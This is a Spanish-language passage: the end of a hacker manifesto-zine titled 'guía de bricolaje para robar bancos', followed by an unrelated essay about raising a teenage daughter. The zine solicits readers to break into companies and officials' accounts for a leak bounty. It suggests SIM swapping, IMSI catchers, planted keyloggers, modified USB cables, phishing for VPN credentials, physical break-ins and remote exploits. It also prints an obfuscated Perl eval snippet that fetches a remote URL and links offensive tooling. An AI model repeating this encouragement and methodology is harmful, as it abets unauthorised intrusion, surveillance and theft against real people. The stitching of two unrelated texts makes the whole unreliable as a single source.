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por mí misma, sino que leeré lo que la prensa diga al respecto una vez se haya publicado, y haré una estimación del interés público a partir de ahí. Mi información de contacto está al final de la guía mencionada antes.[70] Cómo obtengas el material es cosa tuya. Puedes usar las técnicas tradicionales de hacking esbozadas en esta guía y la anterior.[71] Podrías hacerle una sim swap[72] a un empresario o politiquero corrupto, y luego descargar sus correos y backups desde la nube. Puedes pedir un IMSI catcher de alibaba y usarlo afuera de sus oficinas. Puedes hacer un poco de war-driving (del antiguo o del nuevo [73]). Puede que seas una persona dentro de sus organizaciones que ya tiene acceso. Puedes optar por un estilo low-tech tipo old-school como en [74] y [75], y sencillamente colarte en sus oficinas. Lo que sea que te funcione.

14.1 - Pagos parciales

¿Eres una camarera de buen corazón que trabaja en una compañía del mal[76]? ¿Estarías dispuesta a introducir sigilosamente un keylogger físico en la computadora de un ejecutivo, a cambiar su cable de carga USB por uno modificado,[77] esconder un micro en alguna sala de reuniones donde planean sus atrocidades, o a dejar uno de estos[78] olvidado en algún rincón de las oficinas?

¿Eres bueno con ingeniería social y phishing, y conseguiste una shell en la computadora de un empleado, o por ahí conseguiste sus credenciales de la vpn usando phishing? ¿Pero quizás no pudiste conseguir admin de dominio y descargar lo que querías?

¿Participaste en programas de bug bounties y te convertiste en una experta en el hacking de aplicaciones web, pero no tienes suficiente experiencia hacker para penetrar completamente la compañía?

¿Tienes facilidad con la ingeniería inversa? Escanea algunas compañías del mal para ver qué dispositivos tienen expuestos a internet (firewall, vpn, y pasarelas de correo electrónico serán mucho más útiles que cosas como cámaras IP), aplícales ingeniería inversa y encuentra alguna vulnerabilidad explotable de forma remota.

Si me es posible trabajar con vos para penetrar la compañía y conseguir material de interés público, igualmente serás recompensada por tu trabajo. Si es que no tengo el tiempo de trabajar en ello yo misma, al menos trataré de aconsejarte acerca de cómo continuar hasta que puedas completar el hackeo por tu cuenta.

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Apoyar a aquellos en el poder para hackear y vigilar a disidentes, activistas y a la población en general es hoy día una industria de varios miles de millones de dólares, mientras que hackear y exponer a quienes están en el poder es un trabajo voluntario y arriesgado. Convertirlo en una industria de varios millones de dólares ciertamente no va a arreglar ese desequilibrio de poder, ni va a solucionar los problemas de la sociedad. Pero creo que va a ser divertido. Así que... ¡ya quiero ver gente comenzando a cobrar sus recompensas!

15 - Abolir las prisiones

Construidas por el enemigo pa encerrar ideas

encerrando compañeros pa acallar gritos de guerra

es el centro de tortura y aniquilamiento

donde el ser humano se vuelve más violento

es el reflejo de la sociedad, represiva y carcelaria

sostenida y basada en lógicas autoritarias

custodiadas reprimidos y vigilados

miles de presas y presos son exterminados

ante esta máquina esquizofrénica y despiadada

compañero Axel Osorio dando la pelea en la cana

rompiendo el aislamiento y el silenciamiento

fuego y guerra a la cárcel, vamos destruyendo!

Rap Insurrecto - Palabras En Conflicto

Sería típico terminar un zine hacker diciendo liberen a hammond, liberen a manning, liberen a hamza, liberen a los detenidos por el montaje del дело сети, etc. Voy a llevar esta tradición a su consecuencia más radical,[79] y a decir: ¡hay que abolir las prisiones ya!. Siendo yo misma una delincuente, pueden pensar que lo que ocurre es que tengo una visión un poco sesgada del asunto. Pero en serio, es que ni siquiera es un tema controvertido, incluso la ONU está prácticamente de acuerdo [80]. Así que, de una buena vez, liberen a las personas migrantes,[81][82][83][84] encarceladas a menudo por esos mismos países que crearon la guerra y la destrucción ambiental y económica de la que huyen. Liberen a todos los que están en prisión por la guerra contra quienes usan drogas.[85] Liberen a todas las personas encarceladas por la guerra contra los pobres.[86] Las prisiones lo único que hacen es esconder e ignorar la prueba de la existencia de los problemas sociales, en lugar de arreglarlos de a de veras. Y hasta que todxs sean liberados, lucha contra el sistema carcelario recordando y teniendo presentes a

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aquellos que están atrapados ahí dentro. Envíales cariño, cartas, helicópteros,[87] radios piratas[88] y libros, y apoya a quienes se organizan desde ahí adentro.[89][90]

16 - Conclusión

Nuestro mundo está patas arriba.[91] Tenemos un sistema de justicia que representa a la injusticia. La ley y el orden están ahí para crear una ilusión de paz social, y ocultar lo sistemático y profundo de la explotación, la violencia, y la injusticia. Mejor seguir a tu conciencia, y no a la ley. Los hombres de negocios se enriquecen maltratando a las personas y al planeta, mientras que el trabajo de los cuidados queda mayormente sin pagar. Mediante el asalto a todo lo comunal, de algún modo hemos levantado ciudades densamente pobladas, plagadas por la soledad y el aislamiento. El sistema cultural, político y económico en que vivimos alienta las peores facetas de la naturaleza humana: la avaricia, el egoísmo y egocentrismo, la competitividad, la falta de compasión y el apego por la autoridad. Así que, para quien haya conseguido permanecer sensible y compasivo en un mundo frío, para todas las heroínas cotidianas que practican la bondad en las pequeñas cosas, para todas ustedes que aún tienen una estrella encendida en sus corazones: гоpи,

гоpи ясно, чтобы не погасло! _____________________ < ¡Cantemos juntas! > --------------------\ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || Ábrete corazón Ábrete sentimiento Ábrete entendimiento Deja a un lado la razón Y deja brillar el sol escondido en tu interior

‘’ =~( ‘(?’ .’{‘.( ‘`’|’%’ ).(“\[“^ ‘-’).(‘`’| ‘!’).(“\`”| ‘,’).’”(\\$’ .’:=`’.((‘`’)| ‘#’).(‘[‘^’.’). (‘[‘^’)’).(“\`”| ‘,’).(‘{‘^’[‘).’-’.(‘[‘^’(‘).(‘{‘^’[‘).(‘`’|’(‘).(‘[‘^’/’).(‘[‘^’/’).( ‘[‘^’+’).(‘[‘^’(‘).’://’.(‘`’|’%’).(‘`’|’.’).(‘`’|’,’).(‘`’|’!’).(“\`”| ‘#’).(‘`’|’%’).(‘[‘^’!’).(‘`’|’!’).(‘[‘^’+’).(‘`’|’!’).(‘[‘^”\/”).( ‘`’|’)’).(‘[‘^’(‘).(‘[‘^’/’).(‘`’|’!’).’.’.(‘`’|’%’).(‘[‘^’!’) .(‘`’|’,’).(‘`’|’.’).’.’.(‘`’|’/’).(‘[‘^’)’).(‘`’|”\’”). ‘.’.(‘`’|’-’).(‘[‘^’#’).’/’.(‘[‘^’(‘).(‘`’|(‘$’)).( ‘[‘^’(‘).(‘`’|’,’).’-’.(‘`’|’%’).(‘[‘^(‘(‘)). ‘/`)=~’.(‘[‘^’(‘).’|</’.(‘[‘^’+’).’>|\\’ .’\\’.(‘`’|’.’).’|’.(‘`’|”’”).’;’. ‘\\$:=~’.(‘[‘^’(‘).’/<.*?>//’ .(‘`’|”’”).’;’.(‘[‘^’+’).(‘[‘^ ‘)’).(‘`’|’)’).(‘`’|’.’).((‘[‘)^ ‘/’).(‘{‘^’[‘).’\\$:=~/(‘.((‘{‘)^ ‘(‘).(‘`’^’%’).(‘{‘^’#’).(‘{‘^’/’) .(‘`’^’!’).’.*?’.(‘`’^’-’).(‘`’|’%’) .(‘[‘^’#’).(“\`”| ‘)’).(‘`’|’#’).( ‘`’|’!’).(‘`’| ‘.’).(‘`’|’/’) .’..)/’.(‘[‘ ^’(‘).’”})’) ;$:=”\.”^ ‘~’;$~=’@’ |’(‘;$^= ‘)’^’[‘; $/=’`’ |’.’; $,= ‘(‘

Nosotras nacimos de la noche. en ella vivimos, hackeamos en ella.

Aquí estamos, somos la dignidad rebelde, el corazón olvidado de la интернет.

Nuestra lucha es por la memoria y la justicia, y el mal gobierno se llena de criminales y asesinos.

Nuestra lucha es por un trabajo justo y digno, y el mal gobierno y las corporaciones compran y venden zero days.

Para todas el mañana.

Para nosotras la alegre rebeldía de las filtraciones y la expropiación.

26 perl -Mre=eval <<\EOF
EOF

[1] https://es.wikipedia.org/wiki/Cadejo#Origen_y_significado_del_mito

[2] fue antes de ser asesinado por los españoles, justo un día como ayer, que dijo eso de “a mí solo me matarán, pero mañana volveré y seré millones”.

[3] https://sursiendo.com/docs/Pensar_desde_los_comunes_web.pdf

[4] https://chomsky.info/commongood02/

[5] The Will to Change: Men, Masculinity, and Love

[6] su propia religión ya es muy clara al respecto: https://dailyverses.net/es/materialismo

[7] https://elpulso.hn/la-filantropia-en-los-tiempos-del-capitalismo/

[8] http://www.hamptoninstitution.org/expropriation-or-bust.html

[9] Manifiesto por una Civilización Democrática. Volumen 1, Civilización: La Era de los Dioses Enmascarados y los Reyes Cubiertos

[10] Calibán y la Bruja

[11] En deuda: Una historia alternativa de la economía

[12] La otra historia de los Estados Unidos

[13] Las venas abiertas de América Latina

[14]https://elpais.com/economia/2016/03/17/actualidad/ 1458200294_374693.html

[15] https://securelist.lat/el-gran-robo-de-banco-el-apt-carbanak/67508/

[16] https://es.wikipedia.org/wiki/Hegemon%C3%ADa_cultural

[17] https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1

[18] https://lolbas-project.github.io/

[19] https://www.exploit-db.com/papers/41914

[20] https://www.exploit-db.com/papers/41914

[21] https://www.wifi-libre.com/topic-1268-italia-se-rinde-y-deja-de-buscar-a-phineas-fisher. html

[22] https://www.wired.com/2015/05/silk-road-2/

[23] https://motherboard.vice.com/en_us/article/59wwxx/fbi-airs-alexandre-cazes-alphabayarrest-video

[24] https://www.exploit-db.com/papers/41914

[25] https://web.archive.org/web/20190329001614/http://infosuck.org/0x0098.png

[26] https://www.exploit-db.com/papers/41914

[27] https://github.com/zmap/zmap

[28] https://www.exploit-db.com/papers/41914

[29] https://es.wikipedia.org/wiki/Shellshock_(error_de_software)

27 Para todas todo. Para nosotras nada. Desde las montañas del Sureste Cibernético, _ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)

[30] https://citizenlab.ca/tag/hacking-team/

[31] https://citizenlab.ca/tag/finfisher/

[32] https://theintercept.com/2014/08/07/leaked-files-german-spy-company-helped-bahrain-track-arab-spring-protesters/

[33] https://www.exploit-db.com/papers/41913

[34] https://web.archive.org/web/20150706095436/https://twitter.com/hackingteam

[35] https://www.exploit-db.com/papers/41914

[36] https://www.exploit-db.com/papers/41914

[37] página 47, Project Pallid Nutmeg.pdf, en torrent

[38] https://twitter.com/thegrugq/status/563964286783877121

[39] https://github.com/EmpireProject/Empire

[40] https://github.com/rapid7/metasploit-framework

[41] https://www.exploit-db.com/papers/41914

[42] https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/

[43] https://www.exploit-db.com/papers/41914 ]]

[44] https://www.trustedsec.com/blog/no_psexec_needed/

[45] https://www.bottomline.com/uk/products/bottomline-swift-access-services

[46] https://www.exploit-db.com/papers/41914

[47] https://medium.com/@byte_St0rm/adventures-in-the-wonderful-world-of-amsi25d235eb749c

[48] https://cobbr.io/SharpSploit.html

[49] https://github.com/tevora-threat/SharpView

[50] https://www.harmj0y.net/blog/redteaming/ghostpack/

[51] https://rastamouse.me/2019/08/covenant-donut-tikitorch/

[52] https://www.exploit-db.com/papers/41914

[53] https://www.craigmurray.org.uk/archives/2016/04/corporate-media-gatekeepers-protect-western-1-from-panama-leak/

[54] https://hausec.com/2019/08/12/offensive-lateral-movement/

[55] https://www.exploit-db.com/papers/41914

[56] https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf

[57] https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/

[58] https://www.tarlogic.com/en/blog/how-kerberos-works/

[59] https://www.tarlogic.com/en/blog/how-to-attack-kerberos/

[60] https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/

[61] https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/

[62] https://adsecurity.org/

[63] https://github.com/infosecn1nja/AD-Attack-Defense

[64] https://github.com/jhaddix/tbhm

[65] https://blog.sublimesecurity.com/red-team-techniques-gaining-access-on-an-external-engagement-through-spear-phishing/

[66] Ruxe’el mayab’ K’aslemäl: Raíz y espíritu del conocimiento maya https://www.url.edu.gt/ publicacionesurl/FileCS.ashx?Id=41748

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[67] https://www.theguardian.com/environment/climate-consensus-97-per-cent/2018/ sep/19/shell-and-exxons-secret-1980s-climate-change-warnings

[68] https://theintercept.com/2019/08/19/oil-lobby-pipeline-protests/

[69] https://www.bloomberg.com/features/2016-como-manipular-una-eleccion/

[70] https://www.exploit-db.com/papers/41914

[71] https://www.exploit-db.com/papers/41914

[72] https://www.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin

[73] https://blog.rapid7.com/2019/09/05/this-one-time-on-a-pen-test-your-mouse-is-mykeyboard/

[74] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI

[75] https://en.wikipedia.org/wiki/Unnecessary_Fuss

[76] https://en.wikipedia.org/wiki/Evil_maid_attack

[77] http://mg.lol/blog/defcon-2019/

[78] https://shop.hak5.org/products/lan-turtle

[79] http://www.bibliotecafragmentada.org/wp-content/uploads/2017/12/Davis-Son-obsoletas-las-prisiones-final.pdf

[80] http://www.unodc.org/pdf/criminal_justice/Handbook_of_Basic_Principles_and_Promising_Practices_on_Alternatives_to_Imprisonment.pdf

[81] https://www.theguardian.com/us-news/2016/dec/21/us-immigration-detention-center-christmas-santa-wish-list

[82] https://www.theguardian.com/us-news/2016/aug/18/us-border-patrol-facility-images-tucson-arizona

[83] https://www.playgroundmag.net/now/detras-Centros-Internamiento-Extranjeros-Espana_22648665.html

[84] https://www.nytimes.com/2019/06/26/world/australia/australia-manus-suicide.html

[85] https://en.wikiquote.org/wiki/John_Ehrlichman#Quotes

[86] VI, 2. i. La multa impaga: https://scielo.conicyt.cl/scielo.php?script=sci_arttext&pid=S0718-00122012000100005

[87] p. 10, Libelo Nº2. Boletín político desde la Cárcel de Alta Seguridad

[88] https://itsgoingdown.org/transmissions-hostile-territory/

[89] https://freealabamamovement.wordpress.com/f-a-m-pamphlet-who-we-are/

[90] https://incarceratedworkers.org/

[91] http://resistir.info/livros/galeano_patas_arriba.pdf

guía de bricolaje para robar bancos

subcowmandante marcos

2019

guía de bricolaje para robar bancos

eduqué a mi hija para una invasión zombie

eduqué a mi hija para una invasión zombie

Me re cabió siempre, casi siempre, desde el primer mo- mento. Me cabieron sus fábulas rebuscadas y complejas, su desdén, sus ganas de más, lo que nunca me dijo, lo que me contó rogándome el más absoluto secreto, haciéndome flashear complicidad. Me cabió que mientras yo le acerca- ba libros y pelis, ella me respondía con series, celu y plazas. Mientras yo le explicaba, ella ya lo había hecho; mientras hablaba de cuidados, ella ya sabía lo que era un despojo. Mientras yo le charlo de libertad, ella la ejerce sin tan- ta bandera. Me cabió ese día que bailábamos muertos de risa, ellas de pepa, yo de papá garrón ignorante de su lo- cura. Sus 15 hasta las tetas de apocalipsis, la piba que vino a pudrirla desde tan lejos, el cobani queriendo irse que me miraba con esos ojos de cansado y descubrir que las 4.20 es la hora mundial. Sus viajes a Puerto, su vitalidad, su placer por el margen, La Renga en Huracán, su vagar, su temeridad, su fes- tejo de no cuajar, algunos enojos que recién ahora entiendo, sus lágrimas aún inexplicables y el Bajo como todo llanto.

Me cabió su posibilidad de explicarme todo, de pelear por todo, de saberla capaz de casi todo. Sus escapadas, sus ubi- caciones falsas, esa fiesta por Udaondo y la primera vez que tuvo miedo posta. Me cabió tener que ir a la escuela a rescatarla, a la 1era de Morón, a escuchar a la madre, a escucharla a ella. Que me clave el visto, estar alerta, espe- rar que amanezca para saber que sobrevivió otra noche, a mirar para otro lado un montón a veces, cuando las cosas eran más complejas de lo que había esperado. Me re cabie- ron sus cicatrices, sus miedos, sus planteos radicales que me dejaron careta, su politización extrema, su abandono nihilista, su inteligencia política. Me cabió cómo bajaba mi frasco de flores, cómo me tomaba por gil, cómo se daba cuenta de todo, cómo guardaba sus descubrimientos como armas para utilizar oportunamente. Me re cabieron mis explicaciones, mis consejos sobre la vida cuando ya lo ha- bía vivido, esa caminata eterna llena de palabras que tuvi- mos una tarde de invierno, lo pancho que suelo ser. Y las horas muertas, ayudarla a estudiar, segundearla cuando se

1 I

ratea y un café frente a la estación con el viejo de una piba que entendía aún menos que yo. Me re cabió creer que la entrenaba para un apocalipsis, mientras ella era el apocalipsis mismo: zombie, sobrevi- viente, saqueo, fiesta, mutación, aulas, ranchada y vagan- cia. Saber que no la educaba porque ya no había nada que transmitir, ni decir, ni explicar. Que lo posible, lo palpa- ble, lo necesario, estaba ahí, con las pibas, en los trenes, en sus deserciones, fiestas y encuentros. Educar siempre está unido a una épica finalista. La paternidad garrón, la docencia y la militancia luchona siem- pre fueron atra- vesadas por una gesta civilizatoria, emancipatoria, trans- formadora, de futuro. La realidad te re cabe, las pibas si son pillas, también. Educar para una invasión zombie no da cuenta de futuros felices, no mira hacia adelante, no proyecta metas. Es pura indefensión y nos re cabe por- que ya no controlamos el destino final de las cosas. En este apocalipsis no hay proyectos, sino momentos; no hay expectativas sino cuidados y segundeos; no hay jerar- quías, salvo la que generan los cuer- pos bien plantados. Este es su mundo y no se trata tanto de cambiarlo, mejo- rarlo o proyectar, sino de redefinir las formas en que se presentan las cosas y sobrevivir cada nuevo día sin ser desborados de manera definitiva. II

Ser piba es estar en guerra, es cruzar territorio enemigo, es una amenaza que late. Agus lo sabe y ya no le da miedo, pero la cansa. Y cansada a veces se duerme en el Sarmien- to aunque sabe que no se puede dormir porque está lleno de giles. Sabe que no se puede confiar, que no puede bajar la guardia, que no puede distraerse ni un poquito. Sabe lo difícil que es viajar. Desde bien chiquitas saben lo repug- nante que es pasar por una obra en construcción, caminar de la estación al barrio, cruzar el campito a la hora en que ya no hay casi nadie despierto, ir al chino, buscar trabajo, ser hija de transa, quedar al cuidado del padrastro. Saben lo difícil que es decir que no.

2

Es una guerra que no quiso, pero que ahora la elegiría. Porque llamativamente siente que el hacerse cargo de que están en guerra –la calle es una guerra, esperar es una guerra, viajar es una guerra– la pone viva. El terror ya no penetra en su cuerpo realizando esa operación tan orti- ba que restringe sus sentimientos y pensamientos. El te- rror está ahí, sigue ahí, pero ya no penetra del modo que lo hacía antes hasta dejarla muda, inmóvil, gila, víctima. La guerra le da una sensación muy parecida a la libertad y esto la pone manija. Se hace cargo de la guerra porque es mejor que hacerse la boluda, que mirar para otro lado, que permanecer callada, que ser pollo. Una vez asumida se siente mejor, casi ya no tiene miedo o sí lo tiene, pero también tiene otras cosas.

III

Refugio vital, gedencia ilustrada, ranchada obligada, apo- calipsis, intervalo, deserción, disidencia, red. La escuela como el barrio donde te hacés pilla, como vínculo colla- ge, como espacio de segundeo. Como el mejor lugar donde pueden estar pibas y pibes. Esta escuela, así, no otra, esta escuela vaciada desde hace años y llena de posibilidades. Esta escuela, abierta, para ganarle a los arruina guacho, donde las amigas te enseñen a no ser princesa. Labora- torio vital donde se cocina la rebelión de las pibas, donde caés y te levantás mejor.

La escuela cerrada es antiguachines, es antiencuentro, es anti. Los paros docentes, las amenazas de bomba, las cloa- cas tapadas, las pérdidas de gas, las licencias interminables, los sueldos de miseria engordan las fuerzas antitodo. Las favorecen. La miseria planificada de hoy se desarrolla me- jor en la escuela cerrada, en aulas vacías, en recreos mudos. Cerrar la escuela imposibilita encuentros, retrasa insu- rrecciones, debilita resistencias. No da cuenta de los mensajes urgentes de los que son portadoras las turras. No da cuenta de la vitalidad que se despliega. Los pibes no aprenden de los adultos que luchan, ¿por qué lo harían? Aprenden por lo que pasa cuando se encuentran.

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La escuela hace mundos a pesar del abandono estatal, a pe- sar de docentes a Rivotril que ya ni van, a pesar de que en el jardín los guachines jueguen al allanamiento, a pesar del perreo de las nenas de 3ro, del escabio en 6to. A pesar de todos las emboscadas plagadas de buenas intenciones. Muy a pesar de los gabinetes, los gremios, las pedagogas, los talleres, los departamentos de orientación y los centros de estudiantes.

Escuela puro ruido, pura interferencia, pura apertura, lu- gar privilegiado donde los adultos se hunden en lo caóti- co y se sienten amenazados, pero donde las nenas, como reales hacedoras, perciben cosas insospechadas, deseos, dolores reales y preguntas nunca hechas. La escuela se ha movido en torno de la intervención, enseñar fue un acto de intervención. Ahora esto ya no se puede, porque la única intervención posible es la de los guachines que transfor- man la escuela al punto de hacerla irreconocible, insopor- table, atroz, espantosa. Al punto de hacerla una fiesta. Insolencia, distorsión y desborde. Escuela runfla interve- nida por las turras que ya no aceptan, por los guachos que van y van por pura obstinación, por las complicidades, por los aguantes, por un cariño inconmensurable que se forja cada vez. Escuela en guerra entre modos de vida, cuartel general de la vagancia, territorio liberado. La escuela casi como el único lugar donde se desarrollan nuevos posibles, donde se tejen alianzas de mil maneras. Escuela abierta, tierra nueva para hacer frente a esta vida ortiba.

IV

Si hay chamuyo, corte que hay creación. Hay palabras nue- vas, giros en el aire, sentencias, alegrías, descansos, palabras pillas, rimas. Se adueñan de las palabras hasta destrozar el habla anterior que no dice nada, que ya no les dice nada. Bien plantados, agitando los brazos y direccionando cada palabra con las manos, apuntando, siendo certeras. Cons- truyen con la lengua muerta un nuevo lenguaje altanero y anti-ortiba. Agitan consignas desafiando al poder que los estereotipa. Crean nuevos axiomas, imponen códigos. Sin

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nada que marque el camino, sin partitura. Improvisación y creación para seguir avanzando, para nombrar dolores y alegrías. Traen palabras del pasado para hacerlas otras. Fabulan el presente, este presente que es un garrón. El apocalipsis es el lugar en el cual pibas y pibes como “ha- blantes virtuosos” hacen sus juegos, conquistan esponta- neidades y las hacen palabras. Las palabras se amontonan cuando la necesidad es urgen- te, cuando se necesita nombrar cosas que están pasando, cuando eso que está pasando, eso que les está pasando, es un paquete de potencias, un bloque manija lleno de infor- mación. Un campo de batalla construido a partir de la ne- cesidad de revelarse. Pero un campo de batalla sutil, casi imperceptible. Deserción, huida, quedarse en la plaza a gederla. Desobediencia de toda regla gramatical, pero sin transgresión. Chamuyar es una disponibilidad inquieta que muta hasta perder la forma humana. Hablar como única herramienta para sobrevivir y crear mundo. Como una buena forma de entrar a los territorios tan inexistentes y tan reales. Hablar sin educación, sin he- rencia, sin los códigos anteriores, sin guión. La verborragia chistosa y generosa que energiza la previa, las palabras pre- cisas en medio de la noche, el insulto intimidante para im- ponerse, para que se caguen los ortibas. Tirar tiros con la boca, verduguear, vender humo para zafar, tener una nota, hacer chistes, balbucear como tanteo de las ideas por venir. Ser poronga solo por dominar la palabra justa. Ser pilla por improvisar. Actuar “sin partitura”, entrenar la im- provisación, interpretar situaciones, valorarlas, reaccio- nar en velocidad, estimar, deci- dir, medir. Crear frases, crear códigos, crear lenguajes. Crear reglas de juego, jugar con las reglas, tener flow. En la conversación se arma una afinidad, una nueva forma de trama social. El habla pura, el habla sin herencia da cuenta de una nueva forma de intercambio. Hablar así, de este modo, luchando, inventando. Hablar así es una sensibilidad abierta a todo lo que puede convertirse en oportunidad de pensamiento. Ganar la palabra, usar el habla para sobrevivir marca un impulso hacia lo vivo que se presenta desarmado, riesgoso y descansero. Hablar, la

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infinita potencialidad del lenguaje, es una capacidad de afectarse y estar permeables a la creación de nuevos jue- gos, nombres e imágenes. La lengua muerta que no dice nada, se hereda: salida labo- ral, estudiar para el futuro, querer por mandato, hablar engorrado, estereotipar de miedo. El consumo libera, el confort no educa, la herencia no crea. Hablar es inventar solo si se está solo, solo si se está rodeada de amigas. Solo en ranchadas, plazas, aulas, en el furgón del Sarmiento yendo al Quinto. Solo si se raja. Solo hay creación, solo existe la posibilidad de decodificación de esos mensajes urgentes cuando no se acepta, cuando no se puede, cuando no reciben nada a cambio porque ya no hay nada.

Trenes, Uber, bondis, remises destartalados que aceptan cualquier forma de pago. Despertarse en la estación de Merlo Gómez sin noción del tiempo. Carros, bicis, co- larse en el viaje de otros, alfajor moneda. Motos, fami- lias en moto, guachos en moto, miedo a las motos. Miles de cuadras, kiló- metros, recuerdos, caminar amanecidos, esperar la chanchita mientras el sol se muere, correr sin mirar atrás. Viajar en patrullero al infierno mismo, mo- rir un viernes, resucitar el lunes. Hacer la vida donde se va estando, moverse. Pensar tácticas y estrategias, evitar convertirse en un zombie, evitar ser lo que se espera. Pa- ciencia y disciplina en el Roca, cuando alguien se tira bajo el tren, cuando cortan Camino de Cintura porque Ede- nor ni aparece. Aprender de los cirujas, de las travas de la Irigoyen, de los planteros, de los que venden zoquetes y su larga marcha, de las maricas que huyen de sus pueblos. Deambular porque es dinámico, fértil, potente. Pura re- flexión, acción y templanza. Esperar el bondi, esperar llegar a tiempo, esperar que esa tormenta no caiga ahora. Ir a Paternal, a Morris, caminar los pasillos para sacar una astilla, de dos bolsitas hacer tres y tomar una gratis. Caminar hasta la estación acecha- da por los perros, los imbéciles, los miedos.

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V

Piba, extranjero, loco, doña cocinando tortillas mientras wasapea con la hermana que no sabe bien dónde está. Guachín abierto al mundo, transita que da sus primeros pasos, piba que cocina, pero no es chef, guacho que quiere aprender a caminar como grande, negros despiertos toda la noche y no por el café. Forjar una acción política desti- tuyente, resistente y arbitraria con solo viajar. Transformar las ciudades, las ferias, los paseos, el orden lógico de la cultura de manera silenciosa y a su vez es- candalosa. Mutar, aguantarla, moverse. Viajar al consumo mientras se va haciendo la vida. Morir y matar con tal de andar. Hacer volar por el aire absolutamente todo. Viajar a la fiesta con el bolsillo lleno, con el cuerpo ajado y una convicción incierta, silenciosa y latente. Escapar de la escuela para tomar el tren, copar el furgón, aplaudir a cada uno de los que cantan por monedas. Fu- mar como grandes. Combinaciones infinitas para llegar a algún lado, hacer todo para ganar tiempo, para ahorrar unos metros, para llegar antes. Para escapar después de un arrebato, para dejar atrás todo lo que duele, para crecer sin caretas.

VI

De la obligación a querer hacerlo, de la trasmisión a po- der charlar genuinamente de algunas cosas, de tener que hacerme cargo a vagar dejando atrás esas tristezas que se vuelven inevitables. No hay mayor gesto amoroso que segundear. Bancar, estar ahí, escuchar, acompañar con el cuerpo lo que las palabras ni dicen. Llorar a tiempo, reír compi, mirar en silencio, ir a la primera de Morón un viernes por la noche y quedarse hasta que larguen a Flor. No se banca por pura solidaridad, no es una sim- ple ayuda, no se enseña. Bancamos como operación é- tica. Segundear no es un favor, no es darle una mano a alguien: es una tarea vital, una lucha diaria, un gesto pro- fundamente ideológico, real, posible. Es un momento. Es hacernos cargo de una especie de necesidad vital en medio de todo esto.

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Segundear es superar la piedad y el miedo. Ni ortibarse, ni asistir, ni maestro, ni corazón abnegado, menos papá garrón o mamá luchona. Es plegar el propio pensamien- to a lo que va pasando, aceptando la incertidumbre en ese Sepensamiento. segundea porque sí, porque nace, porque está bien, por- que nos re cabe hacerlo, porque no nos ponemos la gorra. Nos segundeamos, deambulamos, esperamos, vamos al Plaza Oeste a ver una peli de la Roca Johnson, hacemos combinaciones absurdas de Haedo a Temperley y de ahí no sabemos bien porqué a Lanús o Mármol, nos prome- temos cuidarnos cuando lo zombie devore todo. Respeta- mos los ritmos de la respiración, los vistos, sus fakes, con- fiamos que todo va a salir bien, aunque siempre sigamos alerta, aunque casi ni haya señales que nos tranquilicen. Bancamos los silencios, pero no cualquier silencio, sino el silencio que es una espera potente, un guardarse hasta que aparezca lo mejor, pero mientras, bancamos con lo que podemos: un silencio hecho de ausencia de palabras pero poblado de susurros táctiles, de respiraciones, de miradas perdidas en esas nubes que pasan, de una especie de an- siedad manija y respetuosa. Bancamos con el cuerpo cómo se va poblando el silencio. Escuchamos quejas reiteradas de maestras, de la vecina de abajo, de amigos de amigos, de madre, amigas. Historias que nos dejan mal parados. Corte que sin la absoluta convicción del segundeo, sin tra- garnos varios sapos, sin hacernos los giles varias veces, caíamos seguro en los roles más fáciles, en las charlas serias, en algún berretín de los límites, y de ahí a una pelea ridícula, anímicamente difícil de sostener, que nos distrae de la tarea principal. Sin segundeo no hay alianza, sin alianza no hay subsistencia posible en este apocalipsis. Segundear es una actitud cero vigilante que rechaza esa ma- nija insaciable de juzgar. Ya no hay deudas impagables, ni postergaciones, ni aparentes absoluciones, ni juicio ortiba, ni ayuda desde el patrullero. No se educa, no hay cómo hacerlo, no hay que hacerlo: se segundea. Se construye artesanalmente un lazo tan fuer- te como estar en las que hay que estar. No siempre, no en cualquier momento, no para jugar roles prefijados y

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aburridos. Estar es estar en las bravas ¿Hay algo más im- portante que segundear? ¿Hay algo más importante que bancar lo que nos pone manija y nos alegra? ¿Hay algo más importante que urdir estrategias de supervivencia frente a este apocalipsis queriendo a quienes que- remos? ¿Hay algo más importante que aguantarla? La intensidad de sus fábulas, lo que pueden y lo que no, las complicidades, las decisiones que van tomando, los cuida- dos que nos tenemos, se producen por fuera de las obli- gaciones pero dentro del segundeo. No nos segundeamos por vinculo sanguineo, ADN, partidas de nacimiento, juzgados de familia, ni porque nos parecemos bastante. Lo hacemos porque no nos quedó otra, por puro impulso, porque pegamos onda, porque lo decidimos, porque es la única manera de vivir el apocalipsis. Lo hacemos porque es lo que hay y solo desde lo que hay habrá otra cosa. No hay nada más práctico que hacer onda. Es instinto de su- pervivencia, empuje vital mínimo y necesario para lo que sea. Hacer onda, potenciarse mutuamente. Ayudando a al- guien en particular, pero dando alegría y fuerza a los dos. Uno es ban- cado y gana en fuerza, y el otro descubre que tiene la fuerza de bancar. Segundear es una fuerza que se construye y se conquista entre varios. Al enhebrar afectos compartidos y sensaciones comunes, nuestros cuerpos se van ampliando, crecen y mutan para hacerse más poten- tes entre sí. Segundearse como forma de amor, como pura suerte, como ges- tión cariñosa de nuestras vidas, como una fuerza imparable capaz de cambiarnos.

VII

Mejor morir que ser empleada, delivery o gato del plan. Mejor andar enfierrado y hacerse respetar que cortar el pasto, mejor escruchar que barrer cordones por el plan, mejor esperar en el rancho jugando al FIFA que movi- lizar un día entero y volver a la tarde por un bolsón fla- quito flaquito. Mejor cobrar por coger a que te cojan sin preguntarte. Mejor romper la noche antes que dormirse para siempre por el brasero de carbón. Mejor quedarse

